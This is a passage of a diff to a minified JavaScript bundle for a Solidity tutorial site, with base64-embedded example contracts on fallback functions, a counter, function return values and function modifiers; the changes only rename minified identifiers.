            //     1 | slot s0 + 3 | arr[1].z | arr[1].y
            //     2 | slot s0 + 4 | arr[2].x
            //     2 | slot s0 + 5 | arr[2].z | arr[2].y
            x := sload(add(start, mul(i, 2)))
            let zy := sload(add(start, add(mul(i, 2), 1)))
            // uint128 cuts off left most 128 bits from 32 bytes
            y := zy
            z := shr(128, zy)
        }
    }
}
"}],uw=`

                          Examples of

                          • Reading and writing to storage with assembly
                          • Storage layout of different data types
                            • @@ -8411,7 +8411,7 @@ assertion probably means that there is a bug. } } } -`,yw=({prev:s,next:a})=>r.jsx(u,{version:dw,title:Cw,description:jw,html:Aw,prev:s,next:a,codes:uw}),mw="0.8.24",bw="Fallback",ww="Example of how to use fallback in Solidity",kw=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludDI1NiBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXNnLmRhdGEgaXMgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBlbWl0IExvZygicmVjZWl2ZSIsIGdhc2xlZnQoKSk7CiAgICB9CgogICAgLy8gSGVscGVyIGZ1bmN0aW9uIHRvIGNoZWNrIHRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKY29udHJhY3QgU2VuZFRvRmFsbGJhY2sgewogICAgZnVuY3Rpb24gdHJhbnNmZXJUb0ZhbGxiYWNrKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRmFsbGJhY2soYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="},{fileName:"FallbackInputOutput.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBUZXN0RmFsbGJhY2tJbnB1dE91dHB1dCAtPiBGYWxsYmFja0lucHV0T3V0cHV0IC0+IENvdW50ZXIKY29udHJhY3QgRmFsbGJhY2tJbnB1dE91dHB1dCB7CiAgICBhZGRyZXNzIGltbXV0YWJsZSB0YXJnZXQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdGFyZ2V0KSB7CiAgICAgICAgdGFyZ2V0ID0gX3RhcmdldDsKICAgIH0KCiAgICBmYWxsYmFjayhieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IHRhcmdldC5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiByZXM7CiAgICB9Cn0KCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gZ2V0KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICBjb3VudCArPSAxOwogICAgICAgIHJldHVybiBjb3VudDsKICAgIH0KfQoKY29udHJhY3QgVGVzdEZhbGxiYWNrSW5wdXRPdXRwdXQgewogICAgZXZlbnQgTG9nKGJ5dGVzIHJlcyk7CgogICAgZnVuY3Rpb24gdGVzdChhZGRyZXNzIF9mYWxsYmFjaywgYnl0ZXMgY2FsbGRhdGEgZGF0YSkgZXh0ZXJuYWwgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IF9mYWxsYmFjay5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIGVtaXQgTG9nKHJlcyk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VGVzdERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSwgYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIChhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmdldCwgKCkpLCBhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmluYywgKCkpKTsKICAgIH0KfQo="}],Zw=`

                            fallback is a special function that is executed either when

                            +`,yw=({prev:s,next:a})=>r.jsx(A,{version:dw,title:Cw,description:jw,html:uw,prev:s,next:a,codes:Aw}),mw="0.8.24",bw="Fallback",ww="Example of how to use fallback in Solidity",kw=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludDI1NiBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXNnLmRhdGEgaXMgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBlbWl0IExvZygicmVjZWl2ZSIsIGdhc2xlZnQoKSk7CiAgICB9CgogICAgLy8gSGVscGVyIGZ1bmN0aW9uIHRvIGNoZWNrIHRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKY29udHJhY3QgU2VuZFRvRmFsbGJhY2sgewogICAgZnVuY3Rpb24gdHJhbnNmZXJUb0ZhbGxiYWNrKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRmFsbGJhY2soYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="},{fileName:"FallbackInputOutput.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBUZXN0RmFsbGJhY2tJbnB1dE91dHB1dCAtPiBGYWxsYmFja0lucHV0T3V0cHV0IC0+IENvdW50ZXIKY29udHJhY3QgRmFsbGJhY2tJbnB1dE91dHB1dCB7CiAgICBhZGRyZXNzIGltbXV0YWJsZSB0YXJnZXQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdGFyZ2V0KSB7CiAgICAgICAgdGFyZ2V0ID0gX3RhcmdldDsKICAgIH0KCiAgICBmYWxsYmFjayhieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IHRhcmdldC5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiByZXM7CiAgICB9Cn0KCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gZ2V0KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICBjb3VudCArPSAxOwogICAgICAgIHJldHVybiBjb3VudDsKICAgIH0KfQoKY29udHJhY3QgVGVzdEZhbGxiYWNrSW5wdXRPdXRwdXQgewogICAgZXZlbnQgTG9nKGJ5dGVzIHJlcyk7CgogICAgZnVuY3Rpb24gdGVzdChhZGRyZXNzIF9mYWxsYmFjaywgYnl0ZXMgY2FsbGRhdGEgZGF0YSkgZXh0ZXJuYWwgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IF9mYWxsYmFjay5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIGVtaXQgTG9nKHJlcyk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VGVzdERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSwgYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIChhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmdldCwgKCkpLCBhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmluYywgKCkpKTsKICAgIH0KfQo="}],Zw=`

                            fallback is a special function that is executed either when

                            • a function that does not exist is called or
                            • Ether is sent directly to a contract but receive() does not exist or msg.data is not empty
                              • @@ -8496,7 +8496,7 @@ assertion probably means that there is a bug. (abi.encodeCall(Counter.get, ()), abi.encodeCall(Counter.inc, ())); } } -`,Ww=({prev:s,next:a})=>r.jsx(u,{version:mw,title:bw,description:ww,html:Zw,prev:s,next:a,codes:kw}),Bw="0.8.24",Gw="First Application",Vw="Example of smart contract in Solidity",fw=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],Yw=`

                              Here is a simple contract that you can get, increment and decrement the count store in this contract.

                              +`,Ww=({prev:s,next:a})=>r.jsx(A,{version:mw,title:bw,description:ww,html:Zw,prev:s,next:a,codes:kw}),Bw="0.8.24",Gw="First Application",Vw="Example of smart contract in Solidity",fw=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],Yw=`

                              Here is a simple contract that you can get, increment and decrement the count store in this contract.

                              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -8519,7 +8519,7 @@ assertion probably means that there is a bug.
         count -= 1;
     }
 }
-
                              `,Rw=({prev:s,next:a})=>r.jsx(u,{version:Bw,title:Gw,description:Vw,html:Yw,prev:s,next:a,codes:fw}),Xw="0.8.24",vw="Function",Nw="Example of how to write functions in Solidity",Hw=[{fileName:"Function.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uIHsKICAgIC8vIEZ1bmN0aW9ucyBjYW4gcmV0dXJuIG11bHRpcGxlIHZhbHVlcy4KICAgIGZ1bmN0aW9uIHJldHVybk1hbnkoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgxLCB0cnVlLCAyKTsKICAgIH0KCiAgICAvLyBSZXR1cm4gdmFsdWVzIGNhbiBiZSBuYW1lZC4KICAgIGZ1bmN0aW9uIG5hbWVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHJldHVybiAoMSwgdHJ1ZSwgMik7CiAgICB9CgogICAgLy8gUmV0dXJuIHZhbHVlcyBjYW4gYmUgYXNzaWduZWQgdG8gdGhlaXIgbmFtZS4KICAgIC8vIEluIHRoaXMgY2FzZSB0aGUgcmV0dXJuIHN0YXRlbWVudCBjYW4gYmUgb21pdHRlZC4KICAgIGZ1bmN0aW9uIGFzc2lnbmVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHggPSAxOwogICAgICAgIGIgPSB0cnVlOwogICAgICAgIHkgPSAyOwogICAgfQoKICAgIC8vIFVzZSBkZXN0cnVjdHVyaW5nIGFzc2lnbm1lbnQgd2hlbiBjYWxsaW5nIGFub3RoZXIKICAgIC8vIGZ1bmN0aW9uIHRoYXQgcmV0dXJucyBtdWx0aXBsZSB2YWx1ZXMuCiAgICBmdW5jdGlvbiBkZXN0cnVjdHVyaW5nQXNzaWdubWVudHMoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2LCB1aW50MjU2LCB1aW50MjU2KQogICAgewogICAgICAgICh1aW50MjU2IGksIGJvb2wgYiwgdWludDI1NiBqKSA9IHJldHVybk1hbnkoKTsKCiAgICAgICAgLy8gVmFsdWVzIGNhbiBiZSBsZWZ0IG91dC4KICAgICAgICAodWludDI1NiB4LCwgdWludDI1NiB5KSA9ICg0LCA1LCA2KTsKCiAgICAgICAgcmV0dXJuIChpLCBiLCBqLCB4LCB5KTsKICAgIH0KCiAgICAvLyBDYW5ub3QgdXNlIG1hcCBmb3IgZWl0aGVyIGlucHV0IG9yIG91dHB1dAoKICAgIC8vIENhbiB1c2UgYXJyYXkgZm9yIGlucHV0CiAgICBmdW5jdGlvbiBhcnJheUlucHV0KHVpbnQyNTZbXSBtZW1vcnkgX2FycikgcHVibGljIHt9CgogICAgLy8gQ2FuIHVzZSBhcnJheSBmb3Igb3V0cHV0CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKCiAgICBmdW5jdGlvbiBhcnJheU91dHB1dCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYXJyOwogICAgfQp9CgovLyBDYWxsIGZ1bmN0aW9uIHdpdGgga2V5LXZhbHVlIGlucHV0cwpjb250cmFjdCBYWVogewogICAgZnVuY3Rpb24gc29tZUZ1bmNXaXRoTWFueUlucHV0cygKICAgICAgICB1aW50MjU2IHgsCiAgICAgICAgdWludDI1NiB5LAogICAgICAgIHVpbnQyNTYgeiwKICAgICAgICBhZGRyZXNzIGEsCiAgICAgICAgYm9vbCBiLAogICAgICAgIHN0cmluZyBtZW1vcnkgYwogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7fQoKICAgIGZ1bmN0aW9uIGNhbGxGdW5jKCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHNvbWVGdW5jV2l0aE1hbnlJbnB1dHMoMSwgMiwgMywgYWRkcmVzcygwKSwgdHJ1ZSwgImMiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRnVuY1dpdGhLZXlWYWx1ZSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBzb21lRnVuY1dpdGhNYW55SW5wdXRzKHsKICAgICAgICAgICAgYTogYWRkcmVzcygwKSwKICAgICAgICAgICAgYjogdHJ1ZSwKICAgICAgICAgICAgYzogImMiLAogICAgICAgICAgICB4OiAxLAogICAgICAgICAgICB5OiAyLAogICAgICAgICAgICB6OiAzCiAgICAgICAgfSk7CiAgICB9Cn0K"}],Fw=`

                              There are several ways to return outputs from a function.

                              +`,Rw=({prev:s,next:a})=>r.jsx(A,{version:Bw,title:Gw,description:Vw,html:Yw,prev:s,next:a,codes:fw}),Xw="0.8.24",vw="Function",Nw="Example of how to write functions in Solidity",Hw=[{fileName:"Function.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uIHsKICAgIC8vIEZ1bmN0aW9ucyBjYW4gcmV0dXJuIG11bHRpcGxlIHZhbHVlcy4KICAgIGZ1bmN0aW9uIHJldHVybk1hbnkoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgxLCB0cnVlLCAyKTsKICAgIH0KCiAgICAvLyBSZXR1cm4gdmFsdWVzIGNhbiBiZSBuYW1lZC4KICAgIGZ1bmN0aW9uIG5hbWVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHJldHVybiAoMSwgdHJ1ZSwgMik7CiAgICB9CgogICAgLy8gUmV0dXJuIHZhbHVlcyBjYW4gYmUgYXNzaWduZWQgdG8gdGhlaXIgbmFtZS4KICAgIC8vIEluIHRoaXMgY2FzZSB0aGUgcmV0dXJuIHN0YXRlbWVudCBjYW4gYmUgb21pdHRlZC4KICAgIGZ1bmN0aW9uIGFzc2lnbmVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHggPSAxOwogICAgICAgIGIgPSB0cnVlOwogICAgICAgIHkgPSAyOwogICAgfQoKICAgIC8vIFVzZSBkZXN0cnVjdHVyaW5nIGFzc2lnbm1lbnQgd2hlbiBjYWxsaW5nIGFub3RoZXIKICAgIC8vIGZ1bmN0aW9uIHRoYXQgcmV0dXJucyBtdWx0aXBsZSB2YWx1ZXMuCiAgICBmdW5jdGlvbiBkZXN0cnVjdHVyaW5nQXNzaWdubWVudHMoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2LCB1aW50MjU2LCB1aW50MjU2KQogICAgewogICAgICAgICh1aW50MjU2IGksIGJvb2wgYiwgdWludDI1NiBqKSA9IHJldHVybk1hbnkoKTsKCiAgICAgICAgLy8gVmFsdWVzIGNhbiBiZSBsZWZ0IG91dC4KICAgICAgICAodWludDI1NiB4LCwgdWludDI1NiB5KSA9ICg0LCA1LCA2KTsKCiAgICAgICAgcmV0dXJuIChpLCBiLCBqLCB4LCB5KTsKICAgIH0KCiAgICAvLyBDYW5ub3QgdXNlIG1hcCBmb3IgZWl0aGVyIGlucHV0IG9yIG91dHB1dAoKICAgIC8vIENhbiB1c2UgYXJyYXkgZm9yIGlucHV0CiAgICBmdW5jdGlvbiBhcnJheUlucHV0KHVpbnQyNTZbXSBtZW1vcnkgX2FycikgcHVibGljIHt9CgogICAgLy8gQ2FuIHVzZSBhcnJheSBmb3Igb3V0cHV0CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKCiAgICBmdW5jdGlvbiBhcnJheU91dHB1dCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYXJyOwogICAgfQp9CgovLyBDYWxsIGZ1bmN0aW9uIHdpdGgga2V5LXZhbHVlIGlucHV0cwpjb250cmFjdCBYWVogewogICAgZnVuY3Rpb24gc29tZUZ1bmNXaXRoTWFueUlucHV0cygKICAgICAgICB1aW50MjU2IHgsCiAgICAgICAgdWludDI1NiB5LAogICAgICAgIHVpbnQyNTYgeiwKICAgICAgICBhZGRyZXNzIGEsCiAgICAgICAgYm9vbCBiLAogICAgICAgIHN0cmluZyBtZW1vcnkgYwogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7fQoKICAgIGZ1bmN0aW9uIGNhbGxGdW5jKCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHNvbWVGdW5jV2l0aE1hbnlJbnB1dHMoMSwgMiwgMywgYWRkcmVzcygwKSwgdHJ1ZSwgImMiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRnVuY1dpdGhLZXlWYWx1ZSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBzb21lRnVuY1dpdGhNYW55SW5wdXRzKHsKICAgICAgICAgICAgYTogYWRkcmVzcygwKSwKICAgICAgICAgICAgYjogdHJ1ZSwKICAgICAgICAgICAgYzogImMiLAogICAgICAgICAgICB4OiAxLAogICAgICAgICAgICB5OiAyLAogICAgICAgICAgICB6OiAzCiAgICAgICAgfSk7CiAgICB9Cn0K"}],Fw=`

                              There are several ways to return outputs from a function.

                              Public functions cannot accept certain data types as inputs or outputs

                              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -8597,7 +8597,7 @@ assertion probably means that there is a bug.
         });
     }
 }
-
                              `,Kw=({prev:s,next:a})=>r.jsx(u,{version:Xw,title:vw,description:Nw,html:Fw,prev:s,next:a,codes:Hw}),Mw="0.8.24",Sw="Function Modifier",xw="Example of how to write function modifier in Solidity",Jw=[{fileName:"FunctionModifier.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uTW9kaWZpZXIgewogICAgLy8gV2Ugd2lsbCB1c2UgdGhlc2UgdmFyaWFibGVzIHRvIGRlbW9uc3RyYXRlIGhvdyB0byB1c2UKICAgIC8vIG1vZGlmaWVycy4KICAgIGFkZHJlc3MgcHVibGljIG93bmVyOwogICAgdWludDI1NiBwdWJsaWMgeCA9IDEwOwogICAgYm9vbCBwdWJsaWMgbG9ja2VkOwoKICAgIGNvbnN0cnVjdG9yKCkgewogICAgICAgIC8vIFNldCB0aGUgdHJhbnNhY3Rpb24gc2VuZGVyIGFzIHRoZSBvd25lciBvZiB0aGUgY29udHJhY3QuCiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIC8vIE1vZGlmaWVyIHRvIGNoZWNrIHRoYXQgdGhlIGNhbGxlciBpcyB0aGUgb3duZXIgb2YKICAgIC8vIHRoZSBjb250cmFjdC4KICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJOb3Qgb3duZXIiKTsKICAgICAgICAvLyBVbmRlcnNjb3JlIGlzIGEgc3BlY2lhbCBjaGFyYWN0ZXIgb25seSB1c2VkIGluc2lkZQogICAgICAgIC8vIGEgZnVuY3Rpb24gbW9kaWZpZXIgYW5kIGl0IHRlbGxzIFNvbGlkaXR5IHRvCiAgICAgICAgLy8gZXhlY3V0ZSB0aGUgcmVzdCBvZiB0aGUgY29kZS4KICAgICAgICBfOwogICAgfQoKICAgIC8vIE1vZGlmaWVycyBjYW4gdGFrZSBpbnB1dHMuIFRoaXMgbW9kaWZpZXIgY2hlY2tzIHRoYXQgdGhlCiAgICAvLyBhZGRyZXNzIHBhc3NlZCBpbiBpcyBub3QgdGhlIHplcm8gYWRkcmVzcy4KICAgIG1vZGlmaWVyIHZhbGlkQWRkcmVzcyhhZGRyZXNzIF9hZGRyKSB7CiAgICAgICAgcmVxdWlyZShfYWRkciAhPSBhZGRyZXNzKDApLCAiTm90IHZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYW5nZU93bmVyKGFkZHJlc3MgX25ld093bmVyKQogICAgICAgIHB1YmxpYwogICAgICAgIG9ubHlPd25lcgogICAgICAgIHZhbGlkQWRkcmVzcyhfbmV3T3duZXIpCiAgICB7CiAgICAgICAgb3duZXIgPSBfbmV3T3duZXI7CiAgICB9CgogICAgLy8gTW9kaWZpZXJzIGNhbiBiZSBjYWxsZWQgYmVmb3JlIGFuZCAvIG9yIGFmdGVyIGEgZnVuY3Rpb24uCiAgICAvLyBUaGlzIG1vZGlmaWVyIHByZXZlbnRzIGEgZnVuY3Rpb24gZnJvbSBiZWluZyBjYWxsZWQgd2hpbGUKICAgIC8vIGl0IGlzIHN0aWxsIGV4ZWN1dGluZy4KICAgIG1vZGlmaWVyIG5vUmVlbnRyYW5jeSgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZWVudHJhbmN5Iik7CgogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWNyZW1lbnQodWludDI1NiBpKSBwdWJsaWMgbm9SZWVudHJhbmN5IHsKICAgICAgICB4IC09IGk7CgogICAgICAgIGlmIChpID4gMSkgewogICAgICAgICAgICBkZWNyZW1lbnQoaSAtIDEpOwogICAgICAgIH0KICAgIH0KfQo="}],zw=`

                              Modifiers are code that can be run before and / or after a function call.

